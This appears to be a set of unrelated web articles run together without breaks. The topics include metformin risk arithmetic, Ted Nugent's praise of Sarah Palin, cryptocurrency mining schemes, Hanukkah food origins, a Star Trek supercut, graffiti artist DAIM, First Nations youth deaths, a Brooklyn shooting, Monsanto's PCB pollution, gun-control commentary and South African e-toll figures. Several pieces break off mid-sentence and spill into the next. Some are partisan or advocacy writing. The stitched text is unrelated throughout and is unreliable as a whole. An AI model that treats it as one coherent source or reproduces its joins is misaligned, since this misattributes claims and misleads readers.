The main side-effect mentioned as potentially fatal is lactic acidosis - for example, of the 12 New Zealand cases 1977-1998, 8 were fatal & the FDA prescribing information estimates 50%, which does not sound fun. On the other hand, lactic acidosis seems to be an acute disorder whose primary effect would be killing you, so it should already be taken care of by working with a reduction in all-cause mortality (that is, even if you are more likely to die by lactic acidosis, the metformin must be sparing you even more gruesome deaths and on average it’s still helpful). And the lactic acidosis rates (2-9 per 100,000 person-years, so at 50 years of usage as prophylactic, a risk of 9 100000 ⋅ 50 ⋅ 8 12 \frac{9}{100000} \cdot 50 \cdot \frac{8}{12} =0.003) may simply reflect the pre-existing morbidity of diabetics and not caused by metformin, and so not a concern at all.
So for side-effects, I think we can sum it up as a month or two of diarrhea, which is unpleasant but not that big a deal. I wouldn’t pay more than $50/day or so to get rid of some diarrhea, which over two months is $3000, but that’s somewhat unlikely.
<$9.2k is a little under an order of magnitude smaller than the more conservative RR estimate, giving a gain of $69k for RR=0.85.In an interview last month with Lars Larson, National Rifle Association board member Ted Nugent blamed President Obama’s election on people who forgot that “Martin Luther King died so that we would someday judge by content of character instead of color of skin.” It seems that Americans missed out on voting for a true American hero: Sarah Palin.
“She is my hero,” Nugent said of the former half-term Alaska governor. “Sarah Palin is the perfect example of what our Founding Fathers envisioned for an experiment in self-government.”
Nugent was especially impressed by Palin’s decision to resign midway through her first term as governor: “She quit because the left hate machine was so overwhelming her with frivolous litigation that she did the most courageous thing in the world and she handed her governor duties to the lieutenant governor while she was taking on this hate onslaught of the left so that Alaska would be properly served by someone who could pay attention to the responsibilities of the office of government while she was fighting off the leftist mongrels. She’s my hero.”
After plugging Palin’s new TV show, Nugent gushed that she is “an amazing American and she brings forth so much good that the general media would not bring forth, she’s a reminder that the heart and soul of working-hard, playing-hard, being-the-best-that-you-can-be America is alive and well.”First of all thank you and holding back secrets is whack. Anyway, I use Photoshop Cs4 for my art, but there are cheaper and newer drawing options available. I studied at and graduated from CSUN, but learned most of my illustration and color skills after school on my own (Youtube color tutorials were a huge help). I pull inspiration from where ever. If I see a dope picture try and identify what I like about it, then save it in a |
With Bitcoin’s open-source code, several developers and entrepreneurs have modified the original algorithm to profit and restrict certain mining hardware. Algorithms such as Litecoin’s Scrypt or Peercoin’s Proof of Stake algorithm has significantly improved and have created mass variety in alternative coins.
Scrypt – This is another method of Proof of Work mining, much like Bitcoin’s SHA-256 algorithm. The majority of alternative coins use a Scrypt algorithm because it restricts the almighty powerful ASIC units. ASICs can’t mine Scrypt coins with the same efficiency as SHA-256, thus alternative coin network s are open to more casual miners. Several modifications have been made to the Scrypt algorithm to help improve efficiency and security, as well as increase profitability for miners.
Proof of Stake – This is one of the alternatives to the conventional mining Proof of Work scheme. Proof of Stake requires no mining from miners whatsoever. The network in Proof of Stake coins is secured by the users who have their wallets open, and those wallets help confirm network transactions. So essentially there is a hidden mining capability behind Proof of Stake, but it creates a position where it’s much simpler to the user and allows for the inclusion of many more people. Proof of Stake owners get awarded interest on all the coins they have earned. PoS is usually inflationary, while Proof of Work is generally deflationary.
Proof of Burn – Proof of Burn is a unique concept where you “burn” or send coins (generally bitcoins) back to the blocks in which they were mined from. Proof of Burn incorporates several new features that are built on top of the blockchain. 100% decentralized distribution is possible with Proof of Burn, because it’s up to the user to burn bitcoins; not the developers of the coin who pre-mine. Countparty (XCP) is one of the first and most successful digital coins to introduce this feature.
Human Mineable – This is what you would expect; people doing active work to mine coins digitally. Human mineable coins generally involve some type of game or task for the user and award coins based on that work. Huntercoin is one of the first to incorporate a human mining aspect, with an MMO-type gathering game.
Pre-mining – Pre-mining is when developers increase the block reward for the first block and mine the coin before they release it to the public. They gather a few percentage of the total supply by pre-mining. This helps developers promote and reward users for doing tasks for their coin.
Instant Mining – This is when developers claim there is no pre-mine (due to negative stigmas about pre-mining). The first few block rewards are generally on par with a pre-mined block, but the client is fully released to the public a few minutes after the developers have mined the coin. This gives them the advantage of mining and gathering their coin while users lag in setting up their miners.
No Trespassing Miners!
A lot of efforts have been put towards creating coins that require no Proof of Work mining. These types of coins are generally 100% Proof of Stake coins or are 100% pre-mined and distributed to the community. The advantage of not requiring mining is the eco-friendly aspect, because mining requires huge amounts of electricity.
Some coins have a 100% pre-mine but still require miners to secure the network with Proof of Work. Other coins have a 100% pre-mine with Proof of Stake features, where users are granted rewards for keeping their wallets or clients open. Lastly, some coins feed off of another coin’s network, such as Bitcoin’s network. These types of coins rely solely on Bitcoin’s miners to keep their coin secured and functioning.
Ultimately, Bitcoin ushered in a revolution of digital miners. The ideas that are stemming from the Satoshi Nakamoto’s Proof of Work idea are limitless.Hanukkah, the eight-day Jewish festival of lights that begins this year on the evening of Tuesday, Dec. 12, commemorates the rededication of the temple in Jerusalem that had been defiled after the Maccabean Revolt, a biblical story that — while it has a few different versions — celebrates the miracle of triumph against overwhelming odds. One part of the miracle, perhaps the part most familiar to today’s celebrants, is the story of how one night’s worth of oil miraculously lasted for eight. That element has inspired many foods eaten to mark Hanukkah, just one of the ways in which the holiday’s traditions have deep origins.
Though the true historical origins of the holiday may be a mystery — there aren’t many reliable sources from that period — it is possible to see how some of Hanukkah’s best-known traditions have evolved over time, particularly as the holiday has taken on more importance in the American Jewish calendar. Here’s a glimpse at what we do know about the holiday’s beloved modern-day rituals:
Candles
Though the candles might seem to be the most important part of any Hanukkah observance, the holiday’s original celebrants wouldn’t have used them. Rather, they would have lit oil lamps like the lights in the Hanukkah story. “In the Hebrew Bible, in the Old Testament in several places it speaks of pure-beaten olive oil for the light,” Israeli archaeologist Rafael Frankel told NPR, noting that it also was a common cosmetic and had ritual uses. “Olive oil was the main oil of this region and very little other oil was ever used.”
The tradition of using candles instead dates to 18th century Eastern Europe, when “candles became cleaner and cheaper, and people couldn’t get olive oil in the middle of the winter because it’s expensive,” historian Steven Fine, author of The Menorah: From the Bible to Modern Israel and founding Director of the Yeshiva University Center for Israel Studies, tells TIME. Most menorahs didn’t have branches before that time either, he says, until wealthy Germans started using them, and synagogues followed suit.
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Latkes and jelly donuts
Speaking of oil, eating food fried during Hanukkah is considered a symbol of the oil used to light the menorah. Hence, jelly donuts. Known in Hebrew as sufganiyot (the singular is sufganiyah), Hanukkah donuts were the brainchild of the Israeli labor group Histradut in the ’20s, in what was then British-run Palestine. As food history expert Emelyn Rude wrote for TIME, the end of the High Holy Day season in autumn “often brought a lull in work in Jewish quarters. By pushing the sufganiyot as a symbol of the Festival of Lights, as opposed to the DIY-friendly latke, the Histradut could encourage the creation of more jobs for Jewish workers.”
And latkes (fried potato pancakes), probably the best-known example of traditional Hanukkah food, are also a relatively modern part of Hanukkah celebrations, at least as we know them today. The potatoes only became part of the recipe — and a big part of the Eastern European Jewish diet in general — in the mid-19th century, when a lot of potatoes got planted after “a series of crop failures in Ukraine and Poland in 1839 and 1840,” according to Gil Marks’ Encyclopedia of Jewish Food. German immigrants then brought the tradition to America. Potatoes were also a cheaper option than wheat flour and cheese. That’s right: the version of latkes served in the Middle Ages were actually made of cheese, usually from goats or sheep. Which leads us to…
Cheese blintzes or other dairy foods
It’s not a common Hanukkah tradition, but if you end up at a table with dairy foods, it’s probably a reflection of a misinterpretation of the book of Judith, according to Marks. “The text, composed around 115 BCE, tells of [how] Judith, a young widow from a town besieged by the Babylonians, infiltrated the enemy camp, fed the commanding general salty cheese to induce thirst, plied him with wine to slack his thirst until the general fell into a drunken stupor, then cut off his head with his own sword,” he wrote for The Daily Meal. “In response to the loss of their leader, the enemy army panicked and fled.” But, as Marks points out, the story actually takes place about 400 years before the rule of the Syrian-Greek empire that took on the Maccabees. The confusion dates to the Middle Ages, Marks writes, when the written version of the Judith story had been lost and the oral version began to meld with that other story of victory by an underdog Jewish force.
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Chocolate gelt
These foil-wrapped chocolate coins you get may have evolved from a bunch of different traditions. One possibility is an 18th-century Eastern European tradition around Hanukkah, in which rabbis went from village to village giving Hebrew School-style lessons. They were rewarded by villagers with some kind of edible tokens of appreciation that may have included whiskey, grain, vegetables or honey, writes Eliezer Segal, author of Holidays, History, and Halakhah, who’s taught Religious Studies at the University of Calgary. He adds that in Yemen, Jewish mothers would give their children a small coin on each day of Hanukkah that they could use to buy sugar powder and red coloring that they’d make into a kid-friendly “Hanukkah wine.”
Dreidel
The exact origins of this spinning top game are also unknown, but it’s thought to have derived from a 16th century game played in Ireland that made its way to Germany. As such, though the four letters on the four sides of the top are now said to stand for the words in the Hebrew sentence “a great miracle happened there” (or, in Israel, “happened here”), that meaning probably showed up later.
“By 1720, the game was called T- totum or teetotum, and by 1801 the four letters already represented four words in English: T = Take all; H = Half; P = Put down; and N = Nothing,” Rabbi David Golinkin, President Emeritus of the Schechter Institute of Jewish Studies, once wrote. “Our Eastern European game of dreidel (including the letters nun, gimmel, hey, shin) is directly based on the German equivalent of the totum game: N = Nichts = nothing; G = Ganz = all; H = Halb = half; and S = Stell ein = put in.” The word “dreidel” comes from Yiddish, but the top itself also had other names, including a “varfl,” meaning “something thrown.”
Its incorporation into the holiday is somewhat ironic, Golinkin argues. “In order to celebrate the holiday of Hanukkah,” he wrote, “which celebrates our victory over cultural assimilation, we play the dreidel game, which is an excellent example of cultural assimilation!”
Write to Olivia B. Waxman at [email protected] are celebrating a supercut revealing the Starfleet officer sat in chairs in an unusual way.
No. 1 knows how to take a seat.
A rather mesmerizing supercut of Star Trek: The Next Generation’s Commander Riker (Jonathan Frakes) reveals that the officer favored sitting down by swinging his leg over the back of his chair.
It always was apparent Riker was an alpha male, but this facet of his masculinity had gone uncelebrated until now. On Twitter, a number of TNG fans expressed disbelief they’d never realized this before.
PHOTOS: 30 Groundbreaking Sci-Fi Films
“Why have I never noticed that Commander Riker sits down like this before!?!?!” tweeted one, while another wrote, "I've seen every TNG ep, but must admit I never comprehended the true extent of @jonathansfrakes' chair domination."
Colin Hanks tweeted “Hell yes, @jonathansfrakes. Now THIS is how you sit down in futuristic chair! http://youtu.be/lVIGhYMwRgs
So far, no tweets or subspace communiques from Frakes in response to the video. We'll update if he takes notice.I’ve always been fascinated by street art. And before the likes of Banksy and the stencil revolution there was graffiti. And there was one artist that always stood out to me — Mirko Reisser, better known as DAIM. There was something about his style that captivated me. His lettering was so intricate and his perspectives were so wild; it was beyond me how someone could create such dimension on a flat surface, with a spray can no less! Below you will find a small selection of his incredible work. Littered amongst his art you will find quotes culled from various interviews available on his site. Witness the insanity with four simple letters:
“I started in 1989. I was 17 and I started with some friends of mine. I didn’t know any graffiti writers at that time, so I just started going out and doing stuff. After three months, we got caught, and I had to pay my fine. I had to work the whole summer holidays just to pay it off.”
On Influences:
“My influence comes form the early Hamburg kings like Skener and Jase, but also Loomit and the FBI Crew”
“I was also really influenced by Dali, MC Escher and Van Gogh”
“I have absolutely no influence from comics so I wasn’t used to making a fat black line around everything. I always came from the direction to make everything with light and shade. And after awhile I thought I could apply that to letters. But it took some time. I started to go in this direction in ’91.”
On Legacy: “I think that instead of taking pieces of history, artists have to just go off on their own and make their own history”
On Drawing:
“I draw everything by hand. I only use a pencil and Copic art markers for my sketches.”
“Working with broad brushstrokes is much more interesting to me, especially as a counterpoint to the world of computers, where everything is getting more perfect and clean every day.”
“Doing everything by hand has the advantage that you understand every step. It takes longer, but it gives you the feeling that you understand what you’re doing. A computer relieves you of a lot of the work, but it often takes away the possibility to trace each and every step.”
Mirko’s Musings:
“A lot of people think that when you are young you do your graffiti and then you should become an ‘artist’; I think that’s stupid.”
“I believe all inspiration begins in nature. There are all shapes, colors, patterns etc. In nature, you just have to keep your eyes open.”
Photograph by Tiexano
What looks like paint is actually just tape! Check the closeup below
Photograph by Tiexano
On Graffiti:
“When you do graffiti, you have to start with typography. You can make a lot strange things with your letters, but a D still has to be a D.”
“I believe that someone who writes only legally cannot grasp the whole spirit of graffiti”
“Show respect, be true to yourself, and always wear a mask when painting.”
“Graffiti is a worldwide language of youth” – DAIM
CHECK OUT THE OFFICIAL DAIM GALLERY FOR MORE IMAGES AND INFORMATION
The Legendary Mirko Reisser aka DAIM
MRpro has Created an Incredible Map of Daim’s Graffiti All Over the Globe.
Check Out This Custom Google Map of Locations and Images of Daim’s Work – CLICK HERE
If you enjoyed this article, the Sifter highly recommends: Stencil Skateboarders by TR853-1A coroner review panel looking at deaths of First Nations young people has found they are dying at nearly twice the rate of their peers who are not Indigenous.
The report, co-authored by the First Nations Health Authority (FNHA) and BC Coroners Service (BCCS) looked at the deaths of British Columbians aged 15 to 24 between 2010 and 2015.
READ MORE: Paige’s story: In search of a name
It found First Nations youth accounted for more than a third of the deaths in that period, 95 out of 276 in total.
Sixty per cent of the First Nations youth deaths were attributed to preventable accidents, while 32 per cent were suicides.
“These aren’t just statistics. These are children. They are children of families and children of communities,” said Shannon McDonald, Deputy Chief Medical Officer with the FNHA.
The report also found a gender imbalance in the data, showing that young First Nations women are dying at three-times the rate of their non-Indigenous peers.
“Many of these young people had had contact with systems that could have potentially supported them through difficult times,” McDonald said.
Even more devastating, McDonald added, was that nearly one in four of the youth who died were parents themselves.
READ MORE: First Nations students from remote B.C. community find voice through music
While the numbers are startling, McDonald added that they likely don’t show the true scale of the problem because they were collected before the peak of the overdose crisis.
The panel has made several recommendations to address the alarming trend, including improving access to services for First Nations youth.
The panel has also recommended finding ways to better connect First Nations youth with their peers, family, community and culture and promoting cultural safety and trauma-informed care.An off-duty New York City correction officer was shot to death in her car Sunday night in Brooklyn, police said. Wale Aliyu reports. (Published Monday, Dec. 5, 2016)
What to Know An off-duty New York City correction officer was shot to death while sitting in a car in Brooklyn on Sunday night, police confirmed
Alastasia Bryan, 25, was identified as the correction officer; a union said she was "one of the youngest members"
A police investigation is ongoing and no arrests have been made in the shooting as of Monday morning
An off-duty New York City correction officer was shot to death in her car Sunday night in Brooklyn, police said.
Alastasia Bryan, 25, was behind the wheel of her car at Avenue L and 73rd Street in the Flatlands around 9:15 p.m. when someone came up and fired into the vehicle.
Bryan suffered gunshot wounds to her head and torso. She died at the scene, police said.
It's unclear if she was intentionally targeted or if the shooting was random, but police said Monday morning that detectives had obtained surveillance video showing a man getting out of a vehicle and walking up to Bryan's car. The video shows the man opening fire and then getting back into his vehicle before taking off, police said.
25-Year-Old City Correction Officer Fatally Shot in Brooklyn
Police are hunting for the gunman who killed a New York City correction officer. The 25-year-old was shot while sitting in her car in Brooklyn, investigators say. Katherine Creag reports. (Published Monday, Dec. 5, 2016)
On Sunday night, investigators were seen examining the gray sedan, which had several bullet holes in its driver’s side window. A crowd gathered at the scene and several people were seen hugging and crying as police stood nearby.
The Correction Officers Benevolent Association, a union, confirmed that Bryan was a city correction officer in a Facebook post early Monday morning.
"Tonight our correction family and the entire City of New York is shocked and grieving the horrific murder of one of the youngest members of New York City's Boldest, who was shot and killed by an unknown assailant while sitting in her car in Brooklyn," COBA President Elias Husamudeen wrote in the post.
It's unclear where Bryan worked. COBA represents members working in more than 26 different jail facilities throughout the city, including Rikers Island.
A police investigation is ongoing, but police haven't named any suspects.
Just last Sunday, two men forced their way into a home in Jamaica, Queens, and shot a state corrections officer and his wife, according to police. The corrections officer was taken to a hospital in critical condition. His wife was taken in serious condition.
Off-Duty Correction Officer Shot to Death in Brooklyn: PoliceIn the 1930's Monsanto bought the company that invented PCBs and became the source of all PCBs in the United States. [1] (PCBs) is the acronym for Polychlorinated biphenyls which are complex chlorinated compounds [2].
In the Washington Post article (Jan 1, 2002) "Monsanto Hid Decades Of Pollution PCBs Drenched Ala. Town, But No One Was Ever Told" a grim story of Monsanto's treacherous behavior in Anniston Alabama was revealed. It is summed up in this chilling paragraph: "They also know that for nearly 40 years, while producing the now-banned industrial coolants known as PCBs at a local factory, Monsanto Co. routinely discharged toxic waste into a west Anniston creek and dumped millions of pounds of PCBs into oozing open-pit landfills. And thousands of pages of Monsanto documents -- many emblazoned with warnings such as "CONFIDENTIAL: Read and Destroy" -- show that for decades, the corporate giant concealed what it did and what it knew." [3] [4]
Anniston, Alabama
"On the west side of Anniston, the poor side of Anniston, the people ate dirt. They called it "Alabama clay" and cooked it for extra flavor. They also grew berries in their gardens, raised hogs in their back yards, caught bass in the murky streams where their children swam and played and were baptized. They didn't know their dirt and yards and bass and kids -- along with the acrid air they breathed -- were all contaminated with chemicals. They didn't know they lived in one of the most polluted patches of America."
"In 1966, Monsanto managers discovered that fish submerged in that creek turned belly-up within 10 seconds, spurting blood and shedding skin as if dunked into boiling water. They told no one. In 1969, they found fish in another creek with 7,500 times the legal PCB levels. They decided "there is little object in going to expensive extremes in limiting discharges.""
"Sylvester Harris, 63, an undertaker who lived across the street from the plant, said he always thought he was burying too many young children. 'I knew something was wrong around here,' he said."
The article must have been a severe blow to Monsanto PR since it had previously stated in response to a 1994 Sierra magazine article [5] that "Monsanto has never concealed any hazard of PCBs" and "Claims of 'cover-ups' and'sacrificing "life itself" to corporate profits' are untrue and out of touch with Monsanto's way of doing business" [6]. This comment makes sense in light of a 1969 Monsanto directive to "a committee the company formed to address controversies about PCBs", it was to have "only two formal objectives: 'Permit continued sales and profits' and 'protect image of... the corporation'" [7] (1). "We can't afford to lose one dollar of business" an internal memo concluded [8]. The next year Monsanto secretly agreed that "any written effluent level reports [on PCBs] would be held confidential by the Technical Staff and would not be available to the public until or unless Monsanto released it" [9]. And that was apparently the final word because nothing changed for decades. According to the WP article the public did not become fully aware of the problem until 1993 when, "after a local angler caught deformed largemouth bass [in a local creek]... the first advisories against eating fish from the area" were issued. This was "27 years after Monsanto learned about those bluegills sliding out of their skins". Monsanto's PCB monopoly had been netting them $22 million dollars a year.
"Today, parts of Anniston are so contaminated that residents have been told not to grow vegetables in the soil, kick up dirt, eat food, chew gum or smoke cigarettes while working in their yards. 'Our children have to play in the streets, on the sidewalks, because they can't play in the grass because it's contaminated,' says resident David Baker. 'We have to wear masks if we cut our grass. Where else in the United States of America are people doing that?'"
"In my judgment, there's no question this is the most contaminated site in the U.S.," says Dr. David Carpenter, a professor of environmental health at the State University of New York in Albany. [10].
Over twenty thousand Anniston residents were part of the suit which resulted in a $700 million fine. On February 22, 2002, Monsanto was found guilty of "negligence, wantonness, suppression of truth, nuisance, trespass, and outrage." Under Alabama law, the rare claim of outrage requires conduct "so outrageous in character and extreme in degree as to go beyond all possible bounds of decency so as to be regarded as atrocious and utterly intolerable in civilized society". The settlement of the case, however, included "no admissions of wrongdoing" by Monsanto [11].
By the way, Monsanto also callously dumped 40 to 50 tons of mercury, and possibly also lead, down company storm sewers the Anniston Star investigative reporting found [12] [13].
Anniston, Alabama Update:
The federal government is seeking Medicare reimbursement from lawyers, manufacturers, and insurers that were involved in a $300 million settlement over widespread PCB contamination in Anniston, Alabama [14]. A lawsuit filed in December 2009 by the Justice Department against 18 attorneys, law firms and companies (including Monsanto) seeks repayment for payments made on behalf of 907 Medicare beneficiaries who were part of the massive agreement [15].
The United States Government used the Medicare Secondary Payer Statute (MSP) as a basis for filing a complaint against both sides of settlement agreement reached [16]. The government lawsuit involves a $300 million portion of the settlement that included 3500 people who live in and around Anniston. Of the $300 million, $129 million went to lawyers and $171 million went to plaintiffs [17].
Medicare paid for some of the people involved in the lawsuit and should have been reimbursed, according to the lawsuit, but no one involved in the settlement notified the government of the agreement or made reimbursement payments [18]. The government said in a complaint filed December 1, 2009: “Monsanto, Solutia and Pharmacia are required to reimburse the United States for conditional Medicare payments made on behalf of settlement claimants” [19].
The case provides valuable insight about how the federal government plans to enforce a law concerning Medicare secondary payers. The Department of Justice plans to seek double the amount at issue for unreimbursed Medicare payments in cases (including U.S. v. Stricker) in which the government is not properly notified that a case has settled [20]. In response to the suit, Monsanto Company spokesman Bob Peirce stated in an e-mail: “We believe that if Medicare is owed anything, it would be from the plaintiffs’ attorneys who were empowered to distribute the settlement funds and their clients who received the money.”
Pollution Déjà Vu
Anniston wasn't the only place where toxics were dumped for years by Monsanto; Sauget, Illinois near the banks of the Mississippi river is another notable case (2) [21] [22]. In fact Greenpeace alleges that "Monsanto has been identified by the U.S. Environmental Protection Agency as being the 'potentially responsible party' for no fewer than 93 contaminated sites (Superfund Sites) in the U.S" [23]. See also Chemical giant ignored in pollution scandal about the case of a Missouri town, Times Beach, evacuated in 1983 due to dioxin and pcb contamination. Also see The Little Town That Whipped Monsanto.
It's also recently been revealed that Monsanto followed a similar pollution path in the UK's south Wales. "Evidence has emerged that the Monsanto chemical company paid contractors to dump thousands of tonnes of highly toxic waste [PCBs] in British landfill sites, knowing that their chemicals were liable to contaminate wildlife and people." A secret Monsanto report on the subject which has emerged in court said that, in response to the prospect of revelation, "'The alternatives are [to] say and do nothing; create a smokescreen; immediately discontinue the manufacture of Aroclors; respond responsibly, admitting growing evidence of environmental contamination...' A scrawled note at the end of the document says: 'The Big Question! What do we tell our customers... try to stay in business or help customer's clean up their use?'". Additionally, "Monsanto stopped producing PCBs in the US in 1971, but the UK government, which knew of the dangers of PCBs in the environment in the 1960s, allowed their production in Wales until 1977". However "complete cessation did not occur until 1986" [24] (Note: although Monsanto ceased production of liquid aroclor (PCBs) at its Anniston plant in 1971 and solid aroclor in 1972 it continued production at its Sauget, Ill. plant until 1977 for use in electrical systems such as capacitors and transformers [25]). "'This is one of the most contaminated sites in Wales and it is a priority to remediate because it is so close to habitations,' said John Harrison [Environment Agency Wales'] manager of the Taff/Ely region." [26]. Like Anniston in the U.S. Monsanto's Brofiscin is "the most contaminated place in Britain" [27].
The amount of PCBs dumped into two "unlined and unsealed" quarries, the Brofiscin Quarry and the Maendy Quarry, is more than 120,000 tonnes according to this article in The Ecologist. An additional five quarries were also used. Additionally the "Brofiscin stands above an underground reservoir that might well in the future be used as a public water supply."
"A previously unseen government report read by the Guardian shows that 67 chemicals, including Agent Orange derivatives, dioxins and PCBs which could have been made only by Monsanto, are leaking from one unlined porous quarry that was not authorised to take chemical wastes" [28].
A major witness to the events, Douglas Gowan, who is questioning why the government Environment Agency is about to let Monsanto off the hook states that "I have been personally threatened, and my home invaded, necessitating police protection. All I have tried to do is to provide the evidence I have in the best public interest. Instead of that happening a seeming cover up is occurring, involving obstruction of justice, and the question begged is, why?" [29]. For background information see Burying The Truth.
PCB Ubiquity and Toxicity
But PCBs are now found everywhere and in everyone [30] and are virtually indestructible. They travel freely on wind and water and right on up the food chain (note: although "From 1929-1977 [when PCB manufacture was banned], Monsanto Company, [was] the sole manufacturer of PCBs in the United States, [and] produced 700,000 tons of PCBs" [31] they are not solely responsible for their worldwide distribution. Monsanto PCB customers like General Electric and Westinghouse also released massive amounts into the environment - a timeline [32]).
Indeed in Our Stolen Future, Dr. Theo Colborn, Dianne Dumanoski and John Peterson Myers note that PCBs "might be found virtually anywhere imaginable: in the sperm of a man tested at a fertility clinic in upstate New York, in the finest caviar, in the fat of a newborn baby in Michigan, in penguins in Antarctica, in the bluefin tuna served in a sushi bar in Tokyo, in the monsoon rains falling in Calcutta, in the milk of a nursing mother in France, in the blubber of a sperm whale cruising in the South Pacific, in a wheel of ripe brie cheese, in a handsome striped bass landed off Martha’s Vineyard on a summer weekend. Like most persistent synthetic chemicals, PCB’s are world travelers." (Page 91-92). In fact along with other environmental threats like climate change (global warming) they may even lead to the extinction of polar bears [33] [34]. PCBs have also been implicated in the beachings of whales, dolphins and seals. Eric Montie, a University of South Florida scientist, has published a study in the journal Environmental Pollution detailing his finding of high levels of PCBs in particular, but also PBDEs (a class of flame retardant) and DDT in the brains and cerebrospinal fluid of stranded marine mammals. "The results revealed that concentration of one contaminant was surprisingly high. According to Montie, 'The biggest wakeup was that we found parts per million concentrations of hydroxylated PCBs in the cerebrospinal fluid of a gray seal. That is so worrisome for me. You rarely find parts per million levels of anything in the brain" [35].
In humans they cause or are a precursor to a wide range of severe ailments including chloracne [36] (warning: a strong stomach is needed to click here). In fact "PCB exposure increases the risk of almost all major diseases, including heart disease and diabetes," says Carpenter. And although Monsanto publically downplays the toxicity of PCBs (though the record shows that privately Monsanto Knew about PCB Toxicity for Decades) "within the objective scientific community and within the government bodies, there is no debate at all'" [37]. See Mortality among workers exposed to polychlorinated biphenyls (PCBs) for a list of serious ailments related to capacitor manufacture using PCBs at an Indiana plant. For more including charts see IPCS - WHO Environmental Levels and Human Exposure.
Alarm is being raised about the effects of PCBs and other Persistent Organic Pollutants (POPs) on native peoples in Russia, Greenland and Canada. Though normally boys slightly outnumber girls, evidence has been emerging that families that survive on the traditional indigenous diet of sea food are changing. It turns out that the hormone mimicking effects of these industrial pollutants are causing a radical suppression of male births. "In the north of Greenland, near the Thule American airbase, only girl babies are being born to Inuit families" [38]. See also this supporting study Women Exposed To High Levels of Pollutant PCB More Likely To Give Birth To Female Children.
Furthermore their ban was not the end of PCBs, "Due to the long service life of this equipment [electrical transformers], considerable amounts of PCBs are likely to remain in use for many years". For other continuing sources of exposure see section "History of PCBs" here. See PCBs for more details.
The Solutia Solution
Monsanto's response is to claim that since it spun off a smaller affiliate, Solutia (in 1997), then merged with Pharmacia (in 2000) and then two years later sort of de-merged, it is not the same company that is responsible for Anniston [39].
Says the Farm Industry News, "Monsanto, which has long resided in the crosshairs of public scorn and scrutiny, appears to have dodged at least one bullet by spinning off its industrial chemical business into a separate entity called Solutia a couple of years ago. Solutia has since been hammered by lawsuits regarding PCB contamination from what were once called Monsanto chemical plants in Alabama and other states" [40].
"Solutia inherited Monsanto's liabilities as a result of 'one-sided negotiations' with Monsanto, according to a court document filed by Jeffrey Quinn, Solutia's general counsel and chief restructuring officer. Monsanto spun off its chemical business, naming it Solutia in 1997, when it decided to focus on its agricultural products. As part of the spinoff, Monsanto put all the liabilities both known and unknown that it had obtained for its nearly 100 years doing business into Solutia, which then became a publicly traded company" [41].
"Some cynically say the company got its name because it was the solution to many of old Monsanto's problems" [42], argues Solutia's Glenn Ruskin, "its spinoff from Monsanto Co. unjustly saddled it with hundreds of millions of dollars in environmental cleanup costs and other liabilities.... '(Monsanto) sort of cherry picked what they wanted and threw in all kinds of cats and dogs as part of a going-away present,' including $1 billion in debt and environmental and litigation costs accrued by Monsanto and Pharmacia over a century of manufacturing" [43]. In addition to PCBs the article mentions two Texas asbestos lawsuits inherited from Monsanto involving "about 570 asbestos actions involving 3,500 to 4,500 plaintiffs."
"'Solutia has spent approximately $100 million each year to service legacy liabilities that it was required to accept at the time of the spin-off from Monsanto,' says Solutia chairman, president and CEO John Hunter" [44]. In 2003 Solutia filed for bankruptcy.
Monsanto's three shell game hasn't fooled everyone though, "despite this self-induced identity crisis surrounding the company name Monsanto, a quick look at the people involved reveals that essentially the same cast of characters has been with the (chemical) company since it was (old) Monsanto" [45]. Additionally "the new Monsanto states in its 2001 proxy statement that the new Monsanto (not Pharmacia) is responsible for the liabilities of Solutia, Inc.(old Monsanto's subsidiary) in the event Solutia, Inc. cannot meet its obligations."
Update: In August on 2007 an agreement was tentatively reached wherein Monsanto's financial stake in Solutia would be reduced from 20% to 17% in exchange for Solutia's dropping of its claims against Monsanto. However "Equity holders said in court documents filed Aug. 7 that the settlement'repeats the same theme that propelled Solutia into bankruptcy in the first place: a sweetheart deal that benefits Monsanto while permanently burdening Solutia with hundreds of millions of dollars in legacy liabilities, which it played no role in creating... 'Monsanto created Solutia as a vehicle to dump massive environmental liabilities generated decades before the spinoff" [46].
Asks the Environmental Working Group "If Monsanto hid what it knew about its toxic pollution for decades, what is the company hiding from the public now? This question seems particularly important to us as this powerful company asks the world to trust it with a worldwide, high-stakes gamble with the environmental and human health consequences of its genetically modified foods" [47].
(1) Here one can see another example of Monsanto's concern with damage control and managing its image with regard to increasingly negative PR resulting from its PCB operations in general. With the Toxic Substances Act due to become law the following year and with political and public pressure mounting, Monsanto wrote in 1975: "Principally, Monsanto must not be viewed as being forced into a decision to withdraw from PCB manufacture by either government action or public pressure. Rather, key audiences must perceive Monsanto as having initiated responsible action in a manner consistent with its past reputation and practices." Well yes, it was consistant.
(2) Scott McM |
to pass gun control laws is exceptionally low, and a recent Gallup poll shows that the country's overall dissatisfaction with U.S. gun laws and policies has increased to 55 percent this year (up from 51 percent last year), but the increase came largely from Americans who say that gun laws are too strict.
In the piece she wrote for CNN, Mrs. Brady said "a lot has changed over the past two decades, and people who wouldn't pass a background check have found other ways to procure guns easily through unlicensed sales at gun shows or on the Internet, where background checks are not required." Contradicting Mrs. Brady, federal studies show that criminals still tend to get guns like they always have: by stealing them, buying them on the black market, or getting friends and family members who can pass background checks to buy guns for them--reasons why expanding the background check requirement makes no sense from a crime prevention perspective.
A Washington Post blogger, Jamie Fuller, also noted that things have changed over the last 20 years, but did a better job of describing the changes than Mrs. Brady. Over the last 20 years, Fuller pointed out, support for gun control has decreased, support for protecting the individual right to arms has increased, gun control restrictions have been reduced, and the firearm murder rate has been cut in half. Fuller didn't mention it, but probably should have, that Americans bought over 120 million firearms over the same period.Over the last two years, the South African National Roads Agency Limited (Sanral) – the organisation which is behind e-tolls – released numerous e-tag sales figures. These figures are absolute nonsense, argues Outa chairperson Wayne Duvenage.
The controversial e-toll system is set to go live by the end of the year (2013), and to make the system work, Sanral will need 90% compliance from 3.5 million registered motor vehicles – i.e. people buying a pre-paid e-tag.
Sanral said that 600,000 e-tags have been sold, but Duvenhage disputes this figure.
“The figures that Sanral is putting out there, trying to create the picture that people are rushing out to buy e-tags, are absolute nonsense,” Duvenhage said in a Carte Blanche interview.
“These numbers were bouncing all over the place. We just don’t trust the integrity of Sanral, which in my eyes is shot.”
What Sanral claimed
A good way to assess the accuracy of Sanral’s e-tag sales claims is to look at a chronological breakdown of the numbers over the last two years.
The numbers do not make sense
The numbers supplied by Sanral and government about e-tag sales do not make sense.
Firstly there is the glaring problem of the e-tag number dropping from 500,000 on 19 April 2012 to 250,000 the next day, and back up to 500,000 three days later.
If one assumes that the 250,000 figure was somehow misunderstood or misquoted, the extremely erratic growth in the claimed e-tag sales figures just do not make sense.
Sanral and government’s e-tag sales claims
